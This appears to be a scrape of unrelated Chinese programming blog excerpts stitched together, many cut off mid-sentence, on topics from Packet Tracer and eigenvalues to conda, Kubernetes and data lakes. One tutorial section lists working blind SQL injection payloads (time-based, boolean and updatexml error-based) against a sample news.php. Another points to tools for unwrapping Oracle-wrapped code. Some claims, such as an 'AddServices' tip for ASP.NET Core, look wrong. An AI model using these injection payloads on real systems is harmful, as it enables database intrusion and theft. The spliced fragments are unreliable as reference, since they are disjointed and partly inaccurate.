计算机网络实验二:Packet Tracer的简单使用

目录 实验二:Packet Tracer的简单使用 2.1 实验目的 2.2 实验步骤 2.2.1 构建网络拓扑 2.2.2 配置各网络设备 2.2.3 网络功能验证测试 2.3 实验总结 实验二:Packet Tracer的简单使用 2.1 实验目的 ①练习packet tracer仿真软件的安装; ②练习网络拓扑的构建; ③练习配置网络设备 ④练习跟踪数据包 ⑤练习查看数据包 2.2 实验步骤 2.2.1 构建网络拓扑 在栏底终端设备添加PC,网络设备添加集线器,让软件自动连接PC至集线器,完成简单的构建网络拓扑 构建网络拓扑如图2-1所示 图2-1 集线器组建局域网 2.2.2 配置各网络设备 (1)对PC12 、PC13 、PC14进行配置 对PC12的ip地址、子网掩码、默认网关等参数进行配置。 首先,用鼠标左键单击PC12,此时呢会弹出一个界面,要配置IP地址,可以选择桌面这个选项卡,输入 PC12 的静态 IP 地址、子网掩码、默认网关等参数,PC12 的静态 IP 地址:192.168.0.1,子网掩码它便默认的255.255.255.0。 需要注意的是:IP 地址可以随意设定,只要它是与同一子网中的其它设备不冲突的即可。子网 掩码需与交换机和其它设备一致,否则将无法通信。默认网关应该设定为连接 PC12 与其他子网的路由器的 IP 地址。最后,DNS 服务器可以设定为任意可用的 DNS 服务器地址可以默认为0.0.0.0。修改完成后,点击“确定”按钮保存修改。 完成以上步骤,PC12 就被成功配置了。 图2-2 PC12配置 PC13 、PC14配置的步骤与PC12一致,数据如下 图2-3 PC14配置 图2-3 PC13配置 2.2.3 网络功能验证测试 测试PC12与PC13的连通性

特征值和特征向量的解析解法--对称矩阵

在特征值和特征向量的解析解法中,对称矩阵是一类非常重要的特殊矩阵。对称矩阵具有许多独特的性质,使得其特征值和特征向量的计算更加简化和方便。本文将介绍对称矩阵的定义、性质以及与特征值和特征向量相关的应用。 首先,我们回顾一下对称矩阵的定义。一个n×n的矩阵A称为对称矩阵,如果满足A的转置等于A本身,即A^T = A。换句话说,对称矩阵以主对角线为轴对称,对角线以下和对角线以上的元素相等。 对称矩阵具有以下重要的性质: 对称矩阵的特征值是实数:对于任何一个对称矩阵A,它的特征值都是实数。这一性质使得特征值的计算更加方便,因为我们无需考虑复数解的情况。 对称矩阵的特征向量是正交的:对于对称矩阵A,对应于不同特征值的特征向量是正交的。具体而言,如果v₁和v₂是对称矩阵A的特征值λ₁和λ₂对应的特征向量,那么v₁·v₂=0,其中·表示向量的点积。这意味着对称矩阵的特征向量可以构成正交矩阵。 对称矩阵的特征向量可以正交归一化:由于特征向量是正交的,我们可以通过对特征向量进行正交归一化,使其模长为1。这样的归一化处理使得特征向量更容易理解和使用。 由于对称矩阵具有这些特殊的性质,计算对称矩阵的特征值和特征向量更加简化。下面我们将讨论特征值和特征向量的解析解法在对称矩阵中的应用。 对于对称矩阵A,我们可以通过解特征方程来求解其特征值和特征向量。特征方程的形式为: det(A - λI) = 0 其中,det表示矩阵的行列式,I是单位矩阵,λ是特征值。 解特征方程可以得到A的特征值λ₁, λ₂, ..., λₙ。接下来,我们将每个特征值代入方程(A - λI)v = 0,求解对应的特征向量v₁, v₂, ..., vₙ。 在对称矩阵中,特征值和特征向量的计算更加简化。由于特征向量是正交的,我们可以通过正交矩阵Q来表示特征向量,其中Q的每一列都是一个特征向量。同时,特征值可以通过对角矩阵D来表示,其中D的对角线上的元素为特征值。 具体而言,对于对称矩阵A,我们可以进行如下的对角化操作: A = QDQ^T 其中,Q是由A的特征向量组成的正交矩阵,D是由A的特征值组成的对角矩阵。这样的对角化操作使得特征值和特征向量的计算更加方便,同时也提供了一种将矩阵A转化为对角矩阵的方法。 对角化后的矩阵形式可以方便地用于计算矩阵的幂、指数函数等,从而简化了许多相关的计算。此外,对角化还可以帮助我们理解矩阵的性质和结构,例如矩阵的主要特征和主要方向等。 对称矩阵的特征值和特征向量的解析解法在许多领域中都有广泛的应用。在物理学中,对称矩阵的特征值和特征向量与量子力学中的能量和波函数密切相关。在工程学中,对称矩阵的特征值和特征向量可以用于分析结构的振动模式和稳定性。在数据分析和机器学习中,对称矩阵的特征值和特征向量可以用于降维、聚类和特征提取等任务。 特征值和特征向量的解析解法在对称矩阵中的应用是数学和科学领域中的重要工具。它们不仅提供了精确的特征值和特征向量,还揭示了矩阵的内在结构和性质。通过对对称矩阵进行对角化,我们可以更好地理解和利用矩阵的特征信息,从而在各个领域中推动问题的求解和应用的发展。

VSCode之PowerShell中创建项目踩坑

VSCode之PowerShell中创建项目踩坑 文章目录 VSCode之PowerShell中创建项目踩坑1.VSCode创建项目踩坑1. 问题描述2. 原因分析及解决方法1. 原因:PowerShell 执行策略默认为:Restricted2. 解决方法 1.VSCode创建项目踩坑 1. 问题描述 使用vue-v命令查看Vue-cli的版本时出现下面的错误 PS I:\vscodeproject\vue3-demo> vue -v vue : 无法加载文件 D:\node-v14.16.0\node_cache\vue.ps1,因为在此系统上禁止运行脚本。有关详细信息 ,请参阅 https:/go.microsoft.com/fwlink/?LinkID=135170 中的 about_Execution_Policies。 所在位置 行:1 字符: 1 + vue -v + CategoryInfo : SecurityError: (:) [],PSSecurityException 2. 原因分析及解决方法 powershell常用策略 powershell是微软推出的比cmd更加强大的命令行工具,它和cmd一样也可以编写脚本来执行。对于刚接触powershell不久的用户来说,可能会遇到好不容易编写了脚本文件,却被系统告知禁止运行任何脚本的情况。禁止执行脚本文件是为了系统安全考虑的,但是当我们已经确认脚本是安全的,要怎么执行呢? PowerShell无疑是对安全做过充分考量的,它把脚本的执行分成了几个策略。 下面是4种常用的执行策略: Restricted: 禁止运行任何脚本和配置文件。 AllSigned : 可以运行脚本,但要求所有脚本和配置文件由可信发布者签名,包括在本地计算机上编写的脚本。 RemoteSigned : 可以运行脚本,但要求从网络上下载的脚本和配置文件由可信发布者签名; 不要求对已经运行和已在本地计算机编写的脚本进行数字签名。 Unrestricted : 可以运行未签名脚本。(危险!) 1. 原因:PowerShell 执行策略默认为:Restricted 可通过 get-ExecutionPolicy命令查看 结果为 Restricted 2. 解决方法 以管理员身份打开Power Shell将策略设置为 RemoteSigned 即可,命令如下: PS C:\WINDOWS\system32> set-ExecutionPolicy RemoteSigned 执行策略更改 执行策略可帮助你防止执行不信任的脚本。更改执行策略可能会产生安全风险,如 https:/go.

RabbitMQ环境配置

文章目录 安装Erlang安装RabbitMQ 安装Erlang 下载地址:http://erlang.org/download/otp_win64_25.3.2.7.exe 安装RabbitMQ 下载地址:https://www.rabbitmq.com/install-windows.html 进入RabbitMQ安装目录下的sbin目录 输入以下命令启动管理功能 rabbitmq-plugins enable rabbitmq_management 启动 访问地址查看是否安装成功: http://localhost:15672/ 输入账号密码并登录:guest guest

༺༽༾ཊ—Unity之-03-建造者模式—ཏ༿༼༻

首先我们打开一个项目 在这个初始界面我们需要做一些准备工作 建基础通用包 创建一个Plane 重置后 缩放100倍 加一个颜色 更换天空盒(个人喜好) 任务:使用【UI】点击生成6种车零件组装不同类型车 【建造者模式】 首先资源商店下载车模型 将Car导入资源拖拽至场景 将导入包放进WBag外包方便整理 将Car完全解压缩 为了取出小车各部分零件 方便我们组装车 拆分第一个组件 车体 命名为CarBody 放进预制体包Prefabs 删除场景中的 CarBody 拆分第二个组件 车座命名为 CarShadle 将剩余物体 设置 成空父物体的子物体 作为一个整体 命名为 CarWheels 准备工作做完后 接下我们做【建造者模式】 建造者模式属于23设计模式中的一种 是一种创建型模式 通常是为了 通过多种组件 由指挥者 拼装出 多种不同所需产品 建造者模式最低需要四个类就可以完成加上Main类中调用需要五个 首先需要 【产品类】 其实需要 【抽象建造类】 再其次需要 【建造具体类】 再再其次需要 【指挥者类】 最后我们通过Main继承Mono挂载再脚本上调用即可 实现: 1.创建脚本【产品类】: using UnityEngine; public class Car{ public GameObject CarPart { get; set; } } 2.【抽象建造类】: public abstract class IBuildCar{

借助一个例子简要了解机器学习

练习:训练一个模型, 基于适合狗的护具的大小来预测适合狗的靴子尺寸 环境: azureml_py import pandas !wget https://raw.githubusercontent.com/MicrosoftDocs/mslearn-introduction-to-machine-learning/main/graphing.py !wget https://raw.githubusercontent.com/MicrosoftDocs/mslearn-introduction-to-machine-learning/main/Data/doggy-boot-harness.csv !pip install statsmodels # Make a dictionary of data for boot sizes and harness sizes in cm data = { 'boot_size' : [ 39, 38, 37, 39, 38, 35, 37, 36, 35, 40, 40, 36, 38, 39, 42, 42, 36, 36, 35, 41, 42, 38, 37, 35, 40, 36, 35, 39, 41, 37, 35, 41, 39, 41, 42, 42, 36, 37, 37, 39, 42, 35, 36, 41, 41, 41, 39, 39, 35, 39 ], 'harness_size': [ 58, 58, 52, 58, 57, 52, 55, 53, 49, 54, 59, 56, 53, 58, 57, 58, 56, 51, 50, 59, 59, 59, 55, 50, 55, 52, 53, 54, 61, 56, 55, 60, 57, 56, 61, 58, 53, 57, 57, 55, 60, 51, 52, 56, 55, 57, 58, 57, 51, 59 ] } # Convert it into a table using pandas dataset = pandas.

Windows下安装达梦8开发版数据库

达梦数据库属于国产主流数据库之一,本文记录WIndows下安装最新的达梦8数据库的过程。 达梦官网(参考文献1)下载开发版(X86平台)版安装包,如下图所示: 解压安装包后,其中包含ISO文件,继续解压ISO文件,双击Setup文件开始安装。 选择语言和失去,点击确定的按钮后进入安装界面。 点击“下一步”按钮继续安装操作: 在点击许可证协议界面中的接受单选框,继续点击“下一步”按钮: 由于安装的是开发版,不需要指定key文件文件,直接点击“下一步”按钮: 在选择组件界面,按需选择安装的组件,本文中使用默认的典型安装设计,继续点击“下一步”按钮: 设置安装路径后点击“下一步”按钮: 点击“安装按钮”开始安装。 安装结束后,点击“初始化”按钮开发初始化数据库。 默认选择创建数据库实例,点击“开始”按钮: 使用默认的数据库模版设置,点击“下一步”按钮: 设置数据库文件的保存位置,点击“下一步”按钮: 继续设置数据库实例的名称及端口: 设置控制文件、数据文件、日志文件、初始化日志的保存位置,点击“下一步”按钮: 按需设置数据库初始化参数,这里使用默认设置: 达梦数据库支持分别设置不同角色的密码,也可以设置统一的密码,这里选择后者: 选择是否创建示例数据库,默认没有勾选,本文中全部勾选以便学习达梦数据库基本用法。 点击完成按钮开发创建数据库,至此数据库实例创建完毕。 参考文献: [1]https://eco.dameng.com/download/ [2]https://blog.csdn.net/qq_37358909/article/details/108372770 [3]https://eco.dameng.com/

回调函数和虚函数的区别

使用回调函数和抽象基类的虚函数有什么区别? 虚函数与回调 关于回调函数和虚函数 C语言的回调函数与C++虚函数功能是一样的 回调函数和普通函数有什么区别? ========================================== 使用回调函数和抽象基类的虚函数有什么区别? https://www.thinbug.com/q/9427161 答案 0 :(得分:7) 虚函数是一种提供回调的机制,但它不是唯一的机制。 回调的一般性是作为参数,方法或调用方法的对象传入,该方法将由您传递给它的函数调用,或者将由该函数存储为事件发生时稍后调用。 实现这种机制的一种方法是将指针或引用传递给从基类派生的对象,并实现虚函数。 另一种方法是传入一个函数指针。 另一个是传入一个带有函数指针的对象,这就是boost函数 - 用于提升函数的构造函数(通常是boost::bind)巧妙地为你构造这样一个对象。 在C ++ 11中,您将能够动态构造一个未命名的函数作为回调传递。这通常被称为lambda。 更多关于使用虚函数作为回调的机制。它看起来很漂亮: 虚函数与回调 https://www.oomake.com/question/1383831 nea 2018-11-07 虚函数调用实际上是一个回调。 调用者在对象的虚函数表中查找相应的条目并调用它。这与回调行为完全相同,只是成员函数指针具有笨拙的语法。虚函数将工作卸载到编译器,这使它们成为一个非常优雅的解决方案。 虚函数是继承层次结构中的通信方式。 mut 2018-11-07 我不认为你所描述的两个案例具有可比性。虚函数是一种多态性工具,可帮助您扩展基类以提供其他功能。它们的关键特征是决定调用哪个函数是在运行时进行的。 回调是一个更通用的概念,它不仅适用于Parent-Child类关系。 所以,如果你想要扩展一个基类,我肯定会使用虚函数。但请务必了解虚拟功能的工作原理。 关于回调函数和虚函数 https://blog.sina.com.cn/s/blog_9e2e84050101de85.html 2013-05-31 C语言的回调函数与C++虚函数功能是一样的 https://blog.csdn.net/Soar_dream/article/details/119536131 回调函数和普通函数有什么区别? https://www.jb51.net/article/217199.htm 1、对普通函数的调用:调用程序发出对普通函数的调用后,程序执行立即转向被调用函数执行,直到被调用函数执行完毕后,再返回调用程序继续执行。从发出调用的程序的角度看,这个过程为“调用-->等待被调用函数执行完毕-->继续执行”。 2、对回调函数调用:调用程序发出对回调函数的调用后,不等函数执行完毕,立即返回并继续执行。这样,调用程序执和被调用函数同时在执行。当被调函数执行完毕后,被调函数会反过来调用某个事先指定函数,以通知调用程序:函数调用结束。这个过程称为回调(Callback),这正是回调函数名称的由来。<< 这里应该讲的是“异步回调”,“同步回调”呢? :https://www.thinbug.com/q/9427161

WPF引用halcon的HSmartWindowControlWPF控件一加上Name属性就,无缘无故运行后报错

报错内容: 严重性 代码 说明 项目 文件 行 禁止显示状态 错误 MC1000 未知的生成错误“Could not find assembly 'System.Drawing.Common, Version=0.0.0.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51'. Either explicitly load this assembly using a method such as LoadFromAssemblyPath() or use a MetadataAssemblyResolver that returns a valid assembly. 行 11 位置 40.” 视觉测试3 D:\window\Visual Studio 2022\Projects\WPF\WPF扩展\视觉测试3\MainWindow.xaml 11 解决:到NuGet上面把“System.Drawing.Common”装一遍就行了,这个库是图像渲染和处理相关的

Conda python管理packages一 从入门到精通

Conda系列: 翻译: Anaconda 与 miniconda的区别Miniconda介绍以及安装Conda python运行的包和环境管理 入门Conda python管理环境environments 一 从入门到精通Conda python管理环境environments 二 从入门到精通Conda python管理环境environments 三 从入门到精通Conda python管理环境environments 四 从入门到精通 1. 搜索 packages 使用终端执行以下步骤。 查看特定包(如 SciPy)是否可用于 安装: conda search scipy 查看特定包(如 SciPy)是否可用于 从 Anaconda.org 安装: conda search --override-channels --channel defaults scipy 要查看特定软件包(如 iminuit)是否存在于特定渠道,例如 http://conda.anaconda.org/mutirri 、 并可用于安装: conda search --override-channels --channel http://conda.anaconda.org/mutirri iminuit 2. Installing packages安装软件包 使用终端执行以下步骤。 将特定软件包(如 SciPy)安装到现有软件包中 环境“myenv”: conda install --name myenv scipy 如果您不指定环境名称,就像在这个示例中通过 --name myenv 进行的那样,包将安装到当前环境中: conda install scipy 要安装特定版本的软件包(如 SciPy),请执行以下操作:

打 jar 包运行 在windows 平台控制台和日志 乱码解决

--拒絕鷄巴囉嗦,直接解決問題 我们在Windows下运行jar包时,常常会出现乱码,主要分为dos窗口输出的日志中出现乱码和程序返回数据出现乱码。 dos窗口输出的日志中出现乱码 执行如下命令,将控制台输出编码改为UTF8: chcp 65001 程序返回数据出现乱码 执行如下命令,运行jar包时指定编码为UTF8: java -Dfile.encoding=utf-8 -jar xxx.jar window 下完整的执行脚本: @echo off chcp 65001 java -Dfile.encoding=UTF-8 -jar ./api.jar 

安全基础~通用漏洞2

文章目录 知识补充盲注Boolean盲注延时盲注报错注入二次注入 知识补充 盲注常用 if(条件,5,0) #条件成立 返回5 反之 返回0 left(database(),1),database() #left(a,b)从左侧截取a的前b位 盲注 盲注就是在注入过程中,获取的数据不能回显至前端页面。 基于布尔的SQL盲注-逻辑判断 regexp,like,ascii,left,ord,mid -基于时间的SQL盲注-延时判断 if,sleep -基于报错的SQL盲注-报错回显 floor,updatexml,extractvalue 参考:https://www.jianshu.com/p/bc35f8dd4f7c PHP开发项目-输出结果&开启报错 基于延时:都不需要 /blog/news.php?id=1 and if(1=1,sleep(5),0) 基于布尔:有数据库输出判断标准 /blog/news.php?id=1 and length(database())=7 基于报错:有数据库报错处理判断标准 /blog/news.php?id=2 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) Boolean盲注 仅判断语句是否正常执行即可,所以其返回可以看到一个布尔值,正常显示为true,报错或者是其他不正常显示为False 在爆库名时,手工爆库可以使用二分法来确定 1' and ascii(substr(database(),1,1))>97 #,显⽰存在,说明数据库名的第⼀个字符的ascii值⼤于 97(⼩写字母a的ascii值); 1' and ascii(substr(database(),1,1))<122 #,显⽰存在,说明数据库名的第⼀个字符的ascii值⼩于 122(⼩写字母z的ascii值); 1' and ascii(substr(database(),1,1))<109 #,显⽰存在,说明数据库名的第⼀个字符的ascii值⼩于 109(⼩写字母m的ascii值) 1' and ascii(substr(database(),1,1))<103 #,显⽰存在,说明数据库名的第⼀个字符的ascii值⼩于 103(⼩写字母g的ascii值); 1' and ascii(substr(database(),1,1))<100 #,显⽰不存在,说明数据库名的第⼀个字符的ascii值不 ⼩于100(⼩写字母d的ascii值); 1' and ascii(substr(database(),1,1))=100 #,显⽰存在,说明数据库名的第⼀个字符的ascii值等于100(⼩写字母d的ascii值),所以数据库名的第⼀个字符的ascii值为100,即⼩写字母d。 重复以上步骤直到得出完整的数据库名dvwa 1' and ascii(substr(database(),n,1))>100 .

oracle古法unwrap手艺(oracle存储过程解码)

先说骚话 首先oracle官方是不支持解包的,见Doc ID 376303.1 但是需求来了。我就寄希望于民间大神的工具。很顺利,找到了几个,甚至还有网页版,以为是个easy money。 但是,我点背,总是能遇到精彩的情况。数据库环境约是10年前从9i升级到11g的。没错这个wrap的存储过程是9i下生成的。 数据库的字符集还比较特殊是西欧字符集。我在用插件的过程中一度以为这玩意解不了是因为字符集问题。 然后就是一场出口转内销之旅。 我先是找到fyunwrap,版本较低,很早不维护了,我什么都解不动,遂放弃 找到了unwrap plugin,这个使用体验不错,但是解不了我要解的,顺便解了几个dbms的包验了验货,证明没问题 然后从哥们哪里嫖来一个好站,可以在线解文本形式的,但是没用,9i的他也解不了 跑到外网,看到了篇asktom的帖子说这个,看到了SoftDream Oracle UnWrapper,以为孩子有救了。 结果这个工具吧,收费,而且也不是很好使。 万般无奈,搜索这个工具,竟然看到了外网有帖子讨论这个工具,然后吐槽expensive,然后说fyunwrap好使,就是得装个xp用 行吧,xp就xp。只要能解决问题。我可以姓xp。 网址工具 网址版,不用翻墙 仅支持支持10g+的解包,支持纯文本直接解 https://www.codecrete.net/UnwrapIt/ 插件工具 仅支持支持10g+的解包 Sqldevelop+plugin 链接:https://pan.baidu.com/s/15QLtwO9cS2IV-i0r9juGfg 提取码:93ua 程序工具 SoftDream Oracle UnWrapper 支持各种版本,9i需要装一些辅助插件 这个要收费我就不说了 Fyunwraper 需要用win xp,装oracle客户端,支持9i,10g+没有试,支持纯文本直接解,也可以连db 链接:https://pan.baidu.com/s/17RldBOBHgPok0cLA7ZRWXQ 提取码:tfpb 原理ppt 另外附一个大神的ppt,告诉你这个9i解码的原理。智力有限,看不懂,不评价了。 链接:https://pan.baidu.com/s/1fv-CLR5aEQcNP8CsjnrYdg 提取码:r1zq

C/C++ 试题 汇总

C语言试题汇总200例目录 https://blog.csdn.net/u011068702/article/details/117428110 C语言测试题(附有详细解析) https://blog.csdn.net/2301_76771985/article/details/131492637 C语言100道经典例题详解 https://blog.csdn.net/weixin_43876810/article/details/88136839 c语言基础程序——100实例 https://blog.csdn.net/xujx1997/article/details/124003083 C语言——经典200道实例【基础例题100道——进阶例题100道】 https://blog.csdn.net/liu17234050/article/details/104217830 C语言常见面试题:什么是宏,宏的作用是什么? https://blog.csdn.net/dxl920807/article/details/135741739

【ASP.NET Core 基础知识】--依赖注入(DI)--在ASP.NET Core中使用依赖注入

一、在ASP.NET Core中实现依赖注入 1.1 配置依赖注入 在ASP.NET Core中实现依赖注入的第一步是配置依赖注入。ASP.NET Core使用了一个称为依赖注入容器(DI Container)的组件来管理对象之间的依赖关系。DI容器在应用程序启动时被配置,并且可以在应用程序的整个生命周期内使用。以下是配置依赖注入的基本步骤: 注册服务: 使用services.AddTransient<TService>()来注册一个瞬态服务,每次请求都会创建一个新的实例。使用services.AddScoped<TService>()来注册一个作用域服务,每次请求会创建一个实例,但在同一个Http请求的生命周期内共享同一个实例。使用services.AddSingleton<TService>()来注册一个单例服务,只会创建一个实例,并在应用程序的整个生命周期内共享。 这些方法通常在ConfigureServices方法中调用,该方法在Startup类中定义。 使用IServiceProvider: 在需要注入服务的地方(例如控制器、服务、视图等),通过构造函数或属性注入来使用服务。在控制器中,可以使用HttpContext.RequestServices属性获取IServiceProvider实例,并通过它来获取服务。 配置中间件: 在Configure方法中,使用依赖注入来构造中间件实例。中间件通常需要注入服务,因此中间件应该使用构造函数注入。 使用DI容器的其他功能: ASP.NET Core的DI容器提供了更多的功能,例如支持自动解析服务、使用元数据等。 下面是一个简单的示例,演示如何配置依赖注入: public class Startup { public void ConfigureServices(IServiceCollection services) { // 注册瞬态服务 services.AddTransient<IMyService, MyService>(); // 注册作用域服务 services.AddScoped<IHttpContextAccessor, HttpContextAccessor>(); // 注册单例服务 services.AddSingleton<ISomeOtherService, SomeOtherService>(); } public void Configure(IApplicationBuilder app, IWebHostEnvironment env) { // 使用注入的服务构造中间件 app.UseMiddleware<MyMiddleware>(); // ... } } Tip:在ASP.NET Core 3.0之前,使用Configure方法来配置依赖注入。在ASP.NET Core 3.0及更高版本中,推荐使用AddServices方法。 在配置完依赖注入后,服务就可以在应用程序的任何地方使用,只要它们被正确的注入到需要的类中。 1.2 定义服务 在ASP.NET Core中实现依赖注入的第二步是定义服务。服务是应用程序中需要注入到其他组件的对象或类。服务可以是瞬态、作用域或单例的,这取决于它们是如何注册的。以下是定义服务的步骤: 创建服务类: 创建一个类,它实现了某个接口或继承自某个基类。这个类就是你的服务类,它包含了实现逻辑。如果服务类没有对应的接口或基类,也可以直接创建一个类,但最好还是提供一个接口或基类以支持依赖注入的灵活性。 定义接口或基类: 如果你创建了一个服务类,那么应该为它定义一个接口或基类,以便其他组件可以依赖注入这个服务。接口或基类定义了服务的公共行为,而具体的实现则由服务类来完成。 注册服务: 在ConfigureServices方法中,使用AddTransient、AddScoped或AddSingleton方法注册服务。注册时应该传入一个工厂方法或使用默认的工厂方法来创建服务实例。 以下是一个简单的示例,演示如何定义服务并注册到DI容器中:

【C++】list的使用

目录 1 构造1.1 无参构造1.2 构造的list中包含n个值为val的元素1.3 用[first, last)区间中的元素构造list1.4 拷贝构造 2 迭代器的使用2.1 begin + end2.2 rbegin + rend 3 容量操作3.1 empty + size 4 获取元素4.1 front + back 5 插入、删除、修改5.1 头插-push_front和尾插-push_back5.2 头删-pop_front和尾删-pop_back5.3 交换——swap5.4 清理——clear5.5 insert-pos位置插入元素5.6 erase-pos位置删除元素 6 迭代器失效问题 list的底层结构是双向循环链表,在任意位置插入和删除效率很高,但是不支持任意位置的随机访问。 下面来介绍一些常用的list接口: 1 构造 1.1 无参构造 list() list<int> lt; 1.2 构造的list中包含n个值为val的元素 list (size_type n, const value_type& val = value_type()) list<int> lt(6, 77); 1.3 用[first, last)区间中的元素构造list 只要是迭代器都可以在其范围内初始化它的内容 list (InputIterator first, InputIterator last) list<int> lt1{ 1,2,3,4,5 }; list<int> lt2(lt1.

选择排序

选择排序 概况步骤代码示例输出结果 概况 选择排序是一种简单直观的排序算法,它的思想是每次从未排序的部分中选择最小(或最大)的元素,并将其放到已排序部分的末尾。通过重复这个过程,直到整个数组排序完成。 选择排序的时间复杂度是O(n^2),其中n是数组的长度。与冒泡排序相比,选择排序的交换操作更少,因此在实际应用中可能稍微快一些。然而,选择排序每次只找到一个最小值(或最大值),并将其放到正确的位置,因此在大规模数据排序时,选择排序的效率仍然相对较低。 步骤 选择排序的实现步骤如下: 遍历数组,将第一个元素作为已排序部分,将其标记为最小(或最大)值。在未排序部分中找到最小(或最大)值,将其与已排序部分的末尾交换位置。确定下一个要排序的元素,将已排序部分增加一个元素。重复步骤2和步骤3,直到整个数组排序完成。 代码示例 需求:将数组中的数据进行排序,数据如下:{2, 7, 9, 4, 5, 6, 10, 3, 8, 1}; 例如: package text.text02; /* 选择排序:(先确定小的,再确定大的) 1,从0索引开始,跟后面的元素一一比较。 2,小的放前面,大的放后面。 3,第一次循环结束后,最小的数据已经确定。 4,第二次循环从1索引开始以此类推。 */ public class text12A { public static void main(String[] args) { int[] arr = {2, 7, 9, 4, 5, 6, 10, 3, 8, 1}; //外循环表示要执行的次数,如果有n个数据,则要执行n-1次 for (int i = 0; i < arr.length - 1; i++) { //内循环表示相邻数据两两交换 for (int j = i + 1; j < arr.

七八分钟快速用k8s部署springboot前后端分离项目

前置依赖 k8s集群,如果没有安装,请先安装 kubectl ,客户端部署需要依赖 应用镜像构建 应用镜像构建不用自己去执行,相关镜像已经推送到docker hub 仓库,如果要了解过程和细节,可以看一下,否则直接跳到k8syaml文件配置章节 Java应用镜像构建 代码地址:https://github.com/dongweizhao/backend Java应用打包 调用sh package.sh会执行mvn的package命令,进行打包 编写Dockerfile 从target目录复制可执行jar FROM openjdk:8-jre COPY target/backend-0.0.1-SNAPSHOT.jar /app.jar ENTRYPOINT java -jar ${JAVA_OPTS} /app.jar 镜像打包推送 执行sh push.sh 推送至dockerhub仓库,镜像地址:dweizhao/backend:latest 前端应用镜像构建 代码地址:https://github.com/dongweizhao/frontend 前端项目结构如下 采用百度低代码平台amis进行开发 编写Dockerfile 拷贝前端工程dist目录至/frontend,并进行目录授权 from nginx copy ./dist /frontend run chown nginx.nginx /frontend -R copy nginx.conf /etc/nginx/conf.d/default.conf 编写nginx.conf文件 server{ listen 80; server_name localhost; root /frontend; index index.html index.htm; location /login { try_files $uri $uri/ /login.html; } } 推送镜像 执行sh push.

代码随想录训练营第三十期|第十四天|二叉树part01|● 理论基础● 递归遍历 ● 迭代遍历● 统一迭代

144. 二叉树的前序遍历 - 力扣(LeetCode) /** * Definition for a binary tree node. * public class TreeNode { * int val; * TreeNode left; * TreeNode right; * TreeNode() {} * TreeNode(int val) { this.val = val; } * TreeNode(int val, TreeNode left, TreeNode right) { * this.val = val; * this.left = left; * this.right = right; * } * } */ class Solution { public List<Integer> preorderTraversal(TreeNode root) { List<Integer> res = new ArrayList<>(); if (root == null) return res; traversal(root, res); return res; } private void traversal(TreeNode root, List<Integer> res) { if (root == null) return; res.

万字详解数据仓库、数据湖、数据中台和湖仓一体

文章目录 一、前言二、概念解析1. 数据仓库2. 数据湖3. 数据中台 三、具体区别1. 数据仓库 VS 数据湖2. 数据仓库 VS 数据中台3. 总结 四、湖仓一体1. 目前数据存储的方案2. Data Lakehouse(湖仓一体) 一、前言 数字化转型浪潮卷起各种新老概念满天飞,数据湖、数据仓库、数据中台轮番在朋友圈刷屏,有人说“数据中台算个啥,数据湖才是趋势”,有人说“再见了数据湖、数据仓库,数据中台已成气候”…… 企业还没推开数字化大门,先被各种概念绊了一脚。那么它们 3 者究竟有啥区别?别急,先跟大家分享两个有趣的比喻。 1、图书馆VS地摊 如果把数据仓库比喻成“图书馆”,那么数据湖就是“地摊”。去图书馆借书(数据),书籍质量有保障,但你得等,等什么?等管理员先查到这本书属于哪个类目、在哪个架子上,你才能精准拿到自己想要的书;而地摊上没有人会给你把关,什么书都有,你自己翻找、随用随取,流程上比图书馆便捷多了,但大家找书的过程是没有经验可复用的,偶尔多拿少拿咱们可能也不知道。 2、升级版银行 假定数据仓库、数据湖、数据中台都是银行,可以提供现金、黄金等多种服务。过去大家进银行前都得先问门卫,里面每个门牌上的数字对应哪个服务呢?是现金还是黄金呢?然后推开对应的门把东西取出来。而有了“数据中台”这个银行,大家一进来就能看到标着“现金”、“黄金”汉字的窗口,一目了然,你只需要走到窗口前,就有专人帮你办理。 以上两个例子不一定全面,但基本能解释三者的优劣势。数据仓库具备规范性,但取数用数流程长;数据湖取数用数更实时、存储量大,但数据质量难以保障;数据中台能精准快速地响应业务需求,离业务侧最近。 为了更清晰地区别三者,接下来咱们再来看看它们各自的定义以及应用区别。 二、概念解析 1. 数据仓库 数据仓库诞生于 1990 年,绝对算得上是“老前辈”了,它是一个相对具体的功能概念。目前对数据仓库的主流定义是位于多个数据库上的大容量存储库,它的作用在于存储大量的结构化数据,并能进行频繁和可重复的分析,帮助企业构建商业智能(BI)。 具体定义: 数据仓库(Data Warehouse)是一个面向主题的(Subject Oriented)、集成的(Integrated)、相对稳定的(Non-Volatile)、反映历史变化的(Time Variant)数据集合,用于支持管理决策和信息的全局共享。其主要功能是将组织透过资讯系统之联机事务处理(OLTP)经年累月所累积的大量资料,透过数据仓库理论所特有的资料储存架构,分析出有价值的资讯。 所谓主题:是指用户使用数据仓库进行决策时所关心的重点方面,如:收入、客户、销售渠道等;所谓面向主题,是指数据仓库内的信息是按主题进行组织的,而不是像业务支撑系统那样是按照业务功能进行组织的。所谓集成:是指数据仓库中的信息不是从各个业务系统中简单抽取出来的,而是经过一系列加工、整理和汇总的过程,因此数据仓库中的信息是关于整个企业的一致的全局信息。所谓随时间变化:是指数据仓库内的信息并不只是反映企业当前的状态,而是记录了从过去某一时点到当前各个阶段的信息。通过这些信息,可以对企业的发展历程和未来趋势做出定量分析和预测。 数据仓库的作用: 数据仓库系统的作用能实现跨业务条线、跨系统的数据整合,为管理分析和业务决策提供统一的数据支持。数据仓库能够从根本上帮助你把公司的运营数据转化成为高价值的可以获取的信息(或知识),并且在恰当的时候通过恰当的方式把恰当的信息传递给恰当的人。 是面向企业中、高级管理进行业务分析和绩效考核的数据整合、分析和展现的工具;是主要用于历史性、综合性和深层次数据分析;数据来源是ERP(例:SAP)系统或其他业务系统;能够提供灵活、直观、简洁和易于操作的多维查询分析;不是日常交易操作系统,不能直接产生交易数据; 实时数仓 实时数仓和离线数仓非常的像,诞生的背景主要是近几年企业对于数据服务的实时性需求日益增多。里面的数据模型也会像中台一样分好几层:ODS 、CDM、ADS。但整体对于实时性要求极高,因此一般存储会考虑采用Kafka这种log base的MQ,而计算引擎会采用Flink这种流计算引擎。 2. 数据湖 数据湖是一种不断演进中、可扩展的大数据存储、处理、分析的基础设施,它就像一个大型仓库存储企业多样化原始数据以数据为导向,实现任意来源、任意速度、任意规模、任意类型数据的全量获取、全量存储、多模式处理与全生命周期管理。拥有强大的信息处理能力和处理几乎无限的并发任务或工作的能力。 